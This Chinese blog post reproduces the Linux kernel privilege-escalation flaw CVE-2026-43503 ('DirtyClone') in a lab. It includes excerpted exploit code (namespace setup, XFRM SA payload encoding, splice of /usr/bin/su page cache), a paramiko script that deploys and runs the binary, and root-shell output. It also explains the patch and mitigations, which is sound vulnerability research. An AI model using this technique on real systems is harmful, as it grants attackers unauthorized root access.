3040 字
15 分钟
DirtyClone Linux 内核页缓存改写提权漏洞(CVE-2026-43503)复现

CVE-2026-43503 属于 Linux 内核 DirtyFrag 漏洞家族,代号 DirtyClone。问题出在一个标志位的传播:把只读文件的页缓存挂进网络报文之后,碎片在克隆与合并过程中丢掉了 SKBFL_SHARED_FRAG,内核把可能被外部持有的页面当成了私有页面。IPsec 的解密路径在私有页面上会省掉一次拷贝,直接在原地解密,写入的落点就是页缓存。

因为写入只发生在内存里的页缓存副本,磁盘上的文件内容保持不变,sha256sum 与文件大小都不会报警,重启或丢弃页缓存即恢复。

漏洞基础信息#

漏洞编号CVSS 评分影响组件漏洞类型
CVE-2026-435038.8(v3.1,高危)Linux 内核 net/skbuff、net/core/gro.c共享碎片标志丢失,页缓存被就地改写,可本地提权

补丁在 2026 年 5 月落地上游,6.17 分支已经停止维护,本文靶机的 6.17.10 构建于 2025 年 12 月,未包含修复。两处提交的内容、修复版本与触发条件放在漏洞核心原理与修复方案两节。

漏洞复现#

环境#

攻击机 192.168.31.152,靶机 192.168.31.148,靶机默认账号 kali/kali。攻击机装有 gcc、nmap 与 python3(paramiko)。

目标探测#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sT -p- --min-rate 2000 --max-retries 1 -T4 192.168.31.148
Starting Nmap 7.98 ( https://nmap.org ) at 2026-11-11 21:01 -0500
Nmap scan report for 192.168.31.148
Host is up (0.00019s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds

登录后要确认三件事:内核版本、非特权用户命名空间是否开放、可用于改写的特权文件是否存在且可读。

Terminal window
└─$ ssh kali@192.168.31.148
kali@kali:~$ uname -r; id
6.17.10+kali-amd64
uid=1000(kali) gid=1000(kali) 组=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),107(bluetooth),120(lpadmin),129(wireshark),130(kaboxer)
kali@kali:~$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
kali@kali:~$ ls -l /usr/bin/su; sha256sum /usr/bin/su
-rwsr-xr-x 1 root root 84432 2025年12月17日 /usr/bin/su
7be2c420d24d17341810e71ac8dde826c8c7c07940eae36aecb97b39d9aa09e9 /usr/bin/su

unprivileged_userns_clone=1 意味着普通用户可以自建 user namespace 与 net namespace,在其中取得 CAP_NET_ADMIN,从而配置 XFRM 安全联盟。su 是 setuid root 且全局可读,页缓存可以被挂进报文,执行时又会带着 root 身份装载,是理想的改写对象。

漏洞验证#

利用程序取自公开 PoC 仓库,作者 Ashraf Zaryouh(0xBlackash),本文只做编译与运行。编译在攻击机完成:

Terminal window
┌──(kali㉿kali)-[~]
└─$ gcc -O2 -o /tmp/dc /tmp/dc.c && file /tmp/dc
/tmp/dc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=35027a6bf5415054e85764e3985a066491d2a3f1, for GNU/Linux 3.2.0, not stripped

投放与执行的具体代码放在脚本讲解一节。在靶机上执行:

Terminal window
kali@kali:~$ /dev/shm/dc -v
=== DirtyClone (CVE-2026-43503) PoC by Ashraf Zaryouh "0xBlackash" ===
[*] uid=1000 euid=1000
[su] installed 48 xfrm SAs
[su] wrote 192 bytes to /usr/bin/su
[+] /usr/bin/su page-cache patched successfully!
[+] Success! Spawning root shell...
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# echo 3 > /proc/sys/vm/drop_caches
# exit

提示符从 kali@kali:~$ 变成 #,中间几行是 PoC 的进度输出,全过程 7.5 秒。退出前把页缓存丢掉,su 恢复原样。

页缓存证据#

只看 uid 的输出不足以说明漏洞机制,还需要证明改的是页缓存而非磁盘。利用刚结束时,从页缓存读到的哈希已经变化,用 O_DIRECT 绕开页缓存读同一段偏移,拿到的仍是原始字节:

Terminal window
└─$ ssh kali@192.168.31.148 'sha256sum /usr/bin/su; xxd -s 0x70 -l 16 /usr/bin/su; dd if=/usr/bin/su bs=4096 count=1 iflag=direct 2>/dev/null | xxd -s 0x70 -l 16'
067286824972f49e92fb6338a18bccf5d96d7f5b081abbcc2587d381cc3235cf /usr/bin/su
00000070: 0010 0000 0000 0000 31ff 31f6 31c0 b06a ........1.1.1..j
00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................

第一条 xxd 读的是页缓存,0x78 起是 PoC 载荷的机器码 31 ff 31 f6 31 c0 b0 6a 0f 05,即 setuid(0) 的开头。第二条 xxd 读的是磁盘,同一偏移仍是 su 原本的程序头数据。sha256 由 7be2c420 变为 06728682,两种读取方式给出不同内容,这是内存改写、磁盘无损的直接证据。

恢复与残留#

用改后的 su 拿到 root 后,用同一个 root shell 执行 echo 3 > /proc/sys/vm/drop_caches,把页缓存丢弃,再复核:

7be2c420d24d17341810e71ac8dde826c8c7c07940eae36aecb97b39d9aa09e9 /usr/bin/su
密码: su: 身份验证失败

哈希回到基线,su 恢复为正常的 setuid 程序,重新要求口令。靶机上留下的只有 /dev/shm/dc 与编译中间文件,脚本末尾已经删除,ls /dev/shm 只剩系统自带的 sem.haveged_sem。XFRM 安全联盟建在利用进程自己的 net namespace 内,进程退出即随命名空间消失,宿主网络栈里没有残留策略。

利用生效到页缓存被丢弃之间的这段时间里,su 对所有用户都是坏的,任何依赖 su 的脚本都会拿到 root shell 或直接失败。靶场里可以接受,生产环境验证时必须提前规划恢复窗口。

脚本讲解#

利用流程分五段,下面按代码顺序说明。

第一段在靶机上取得 CAP_NET_ADMIN。普通用户没有这个能力,先 unshare 出 user 与 net 两个命名空间,再把自己的 uid、gid 映射成命名空间内的 0:

static void setup_userns_netns(void) /* 节选 */
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
SLOG("unshare: %s", strerror(errno));
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", real_uid);
if (write_proc("/proc/self/uid_map", map) < 0) { ... }
snprintf(map, sizeof(map), "0 %u 1", real_gid);
if (write_proc("/proc/self/gid_map", map) < 0) { ... }
/* 原代码此处拉起命名空间内的 lo,略 */
...
}

命名空间建好后 lo 要手动拉起,否则回环报文走不通。这一步拿到的权限只在这个 namespace 内有效,宿主上看不到任何变化。

第二段准备解密器。对每个要写入的 4 字节,PoC 用 netlink 下发一个 ESP 安全联盟,传输模式、源与目的都是 127.0.0.1,SPI 取 0xDEADBE10 加偏移,加密算法 cbc(aes)、认证算法 hmac(sha256),封装模板是 UDP_ENCAP_ESPINUDP 加端口 4500。真正控制明文的是 ESN 的高 32 位:

struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->seq = REPLAY_SEQ;
esn->seq_hi = patch_seqhi; /* 目标 4 字节 */
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));

192 字节的载荷因此对应 48 个安全联盟,每个联盟只负责 4 个字节。密钥由攻击者生成,解密结果也由攻击者决定,这是能在页缓存里写下任意内容的前提。

第三段把页缓存挂进报文。文件只读打开,先 splice 前 16 字节进管道,再 vmsplice 24 字节的 ESP 头,最后把整条 40 字节从管道 splice 到已连接的 UDP socket:

int pfd[2];
pipe(pfd);
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
vmsplice(pfd[1], &iov_h, 1, 0);
off_t off = offset;
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
usleep(150 * 1000);

UDP 的零拷贝发送路径 ip_append_page 会把管道里的页直接挂成 skb 的 frag,并因为页归外部所有而设置 SKBFL_SHARED_FRAG。此时 frag 指向的就是 su 的页缓存页。150 毫秒的等待是让上一轮报文在接收侧处理完,48 轮累计约 7.2 秒,与实测 7.5 秒吻合。

第四段是标志丢失,发生在回环接收侧。UDP GRO 把数据报合并进累加 skb,skb_gro_receive 的两条碎片搬运路径只搬 frag 描述符,没有把 flags 里的 SKBFL_SHARED_FRAG 带过去;合并后的 GSO skb 再被 udp_rcv_segment 重分段,新段继续持有这些 frag 而 skb_has_shared_frag 返回 false。

第五段是就地解密与收尾。ESP 输入路径看到未克隆且未共享,跳过 skb_cow_data 直接解密,明文落在页缓存页上。48 轮写完后,前 192 字节已经变成一个 192 字节的 ELF,入口 0x78:

if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
SLOG("verify failed");
return 1;
}
printf("[+] /usr/bin/su page-cache patched successfully!\n");
/* 此处省略 main 里 exec 前的一段判断,最后是 */
execl("/usr/bin/su", "su", "-c", "/bin/sh", NULL);

载荷依次做 setuid(0)、setgid(0)、setresuid(0,0,0),再 execve /bin/sh。因为 su 本身是 setuid root,内核在 exec 时已经把有效 uid 提到 0,载荷里的 setuid 只是把这个身份固化到真实与保存 uid 上。

投放与执行用一个 paramiko 脚本完成,二进制落在 /dev/shm 这种内存文件系统里,运行结束即删除:

import paramiko, time
c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect("192.168.31.148", username="kali", password="kali", timeout=10)
def run(cmd, t=60):
i, o, e = c.exec_command(cmd, timeout=t)
return o.read().decode(errors="replace") + e.read().decode(errors="replace")
c.open_sftp().put("/tmp/dc", "/dev/shm/dc"); run("chmod 700 /dev/shm/dc")
ch = c.invoke_shell(width=100, height=30)
time.sleep(1)
buf = ""
def drain(t=0.5):
global buf
end = time.time() + t
while time.time() < end:
if ch.recv_ready(): buf += ch.recv(65535).decode(errors="replace")
else: time.sleep(0.1)
ch.send("/dev/shm/dc -v\n"); drain(9.5)
ch.send("id\n"); drain(1.0)
ch.send("whoami\n"); drain(1.0)
ch.send("echo 3 > /proc/sys/vm/drop_caches\n"); drain(1.0)
ch.send("exit\n"); drain(1.0)
print(buf)
run("rm -f /dev/shm/dc")
print("[复核]", run("sha256sum /usr/bin/su").strip())

invoke_shell 申请的是一条带 pty 的会话,命令与回显走同一条通道,才能截到上面那种对话。drain 只是按时间等输出,最后把 drop_caches 送进 root shell,页缓存丢掉,su 复原。

漏洞核心原理#

一个标志位的语义#

SKB 的 frag 可以是内核自己分配的页,也可以是外部持有的页,例如用户通过 splice 挂进来的页缓存页。后者写入前必须先 unshare,否则就会改到别人的数据。SKBFL_SHARED_FRAG 用来区分这两种情况:只要 frag 里有外部页,这个位就必须置上,skb_has_shared_frag 才能让调用方知道这里不能原地写。

ip_append_page 在挂页时是守规矩的,会置位。问题出在后续搬动 frag 的辅助函数:skb_shift 直接搬描述符,__pskb_copy_fclone 把元数据交给 skb_copy_header,而后者只搬 gso_size、gso_segs、gso_type,从不碰 skb_shinfo 的 flags。skb_gro_receive 与 skb_gro_receive_list 同样是整段搬 frags 数组,标志留在源 skb 上。

上游修复就是把这一行补上:

@@ -145,6 +145,8 @@ int skb_gro_receive(struct sk_buff *p, struct sk_buff *skb)
skb_frag_off_add(frag, offset);
skb_frag_size_sub(frag, offset);
+ pinfo->flags |= skbinfo->flags & SKBFL_SHARED_FRAG;
+
/* all fragments truesize : remove (head size + sk_buff) */

修复前后的差别只有一个按位或,安全语义却从可能共享变成了确定共享。上游分两处落地:net: skbuff: propagate shared-frag marker through frag-transfer helpers 修正了 skbuff.c 里的 __pskb_copy_fclone 与 skb_shift,skb_try_coalesce 同期一并修好;随后 net: gro: propagate SKBFL_SHARED_FRAG in skb_gro_receive 补上 gro.c 的两条路径,邮件里注明它是前一处修复遗漏的同类问题,后者正是本文利用所走的路径。

为什么写入落在页缓存#

页缓存是文件内容在内存里的唯一副本,所有读取都经过它。进程把文件页挂进 skb 时,挂的是这个页的引用,不是副本;内核随后对 frag 的写入,写的就是页缓存页。真正写磁盘要经过回写,而回写只在页被标记为脏、且由文件系统接管时才发生。漏洞路径里的写入绕过了 VFS 与文件系统的记账,页没有被标脏,也就不存在回写。

结果是一份内存与磁盘不一致的文件:磁盘上原样,内存里被换掉,此后每次 exec 都装载被换过的内存副本。丢弃页缓存或重启,内存副本重新从磁盘装载,一切复原。

前提条件#

触发需要同时满足:

  • 内核未打两处补丁,6.17 及更早的分支,或未跟进修复的发行版内核;
  • 允许非特权用户创建 user namespace,从而在命名空间内取得 CAP_NET_ADMIN;
  • 目标文件对攻击者可读,只读权限就够,写入由内核代劳;
  • ESP over UDP 的 GRO 与重分段路径可用,CONFIG_XFRM、CONFIG_INET_ESP 与相应算法齐全。

反过来,kernel.unprivileged_userns_clone=0,或者已升级到修复版本的内核,都会让利用链在第一步或第四步断掉。

修复方案#

首选升级内核到含 skb_gro_receive 修复的版本,对应 6.18.33、7.0.10 及各自稳定分支的修复版本,升级后必须重启才能让新内核生效。稳定分支的修复版本为 5.10.257、5.15.208、6.1.174、6.6.141、6.12.91、6.18.33、7.0.10。6.17 分支已停止维护,停留在该分支的机器需要跨分支升级。

暂时无法升级时,可以按风险取舍以下缓解手段:

  • 关闭非特权用户命名空间,把 CAP_NET_ADMIN 的获取门槛抬回 root;
  • 收紧 setuid 程序的暴露面,减少页缓存改写后可立即换取的提权收益;
  • 对内核完整性做运行时校验,关注 setuid 程序页缓存的异常变化,这类改写不落盘、不进文件系统审计,常规的文件完整性检查抓不到。

缓解手段只是抬高门槛,页缓存写原语本身仍然存在。

参考链接#

DirtyClone Linux 内核页缓存改写提权漏洞(CVE-2026-43503)复现
https://blog.mal-suen.cn/posts/2026/11/1235/
作者
Malcolm
发布于
2026-11-12
许可协议
CC BY-NC-SA 4.0